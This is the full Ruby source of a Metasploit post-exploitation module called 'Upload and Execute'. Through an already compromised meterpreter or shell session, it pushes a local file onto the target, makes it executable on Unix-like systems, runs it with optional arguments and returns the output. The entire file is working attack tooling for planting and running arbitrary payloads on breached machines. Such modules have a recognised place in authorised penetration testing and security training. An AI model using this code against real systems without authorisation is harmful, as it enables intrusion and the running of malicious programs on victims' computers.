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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Post
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  include Msf::Post::File
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  include Msf::Exploit::FileDropper
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Upload and Execute',
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        'Description' => %q{Push a file and execute it.},
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        'Author' => 'egypt',
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        'License' => MSF_LICENSE,
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        'Platform' => ['win', 'unix', 'linux', 'osx', 'bsd', 'solaris'],
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        'SessionTypes' => ['meterpreter', 'shell']
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      )
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    )
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    register_options([
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      OptPath.new('LPATH', [true, 'Local file path to upload and execute']),
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      OptString.new('RPATH', [false, 'Remote file path on target (default is basename of LPATH)']),
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      OptString.new('ARGS', [false, 'Command-line arguments to pass to the uploaded file']),
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      OptInt.new('TIMEOUT', [true, 'Timeout for command execution', 60])
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    ])
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  end
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  def run
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    print_status("Uploading #{lpath} to #{rpath}")
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    upload_file(rpath, lpath)
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    register_file_for_cleanup(rpath)
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    if session.platform == 'windows'
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      # Don't use cmd.exe /c start so we can fetch output
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      cmd = rpath
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    else
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      # Set 700 so only we can execute the file
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      chmod(rpath, 0o700)
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      # Handle absolute paths
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      cmd = rpath.start_with?('/') ? rpath : "./#{rpath}"
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    end
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    print_status("Executing command: #{cmd}")
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    output = cmd_exec(cmd, args, timeout)
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    if output.blank?
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      print_status('Command returned no output')
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    else
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      print_line(output)
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    end
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  end
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  def lpath
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    datastore['LPATH']
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  end
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  def rpath
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    datastore['RPATH'].blank? ? File.basename(lpath) : datastore['RPATH']
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  end
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  def args
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    datastore['ARGS']
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  end
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  def timeout
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    datastore['TIMEOUT']
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  end
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end
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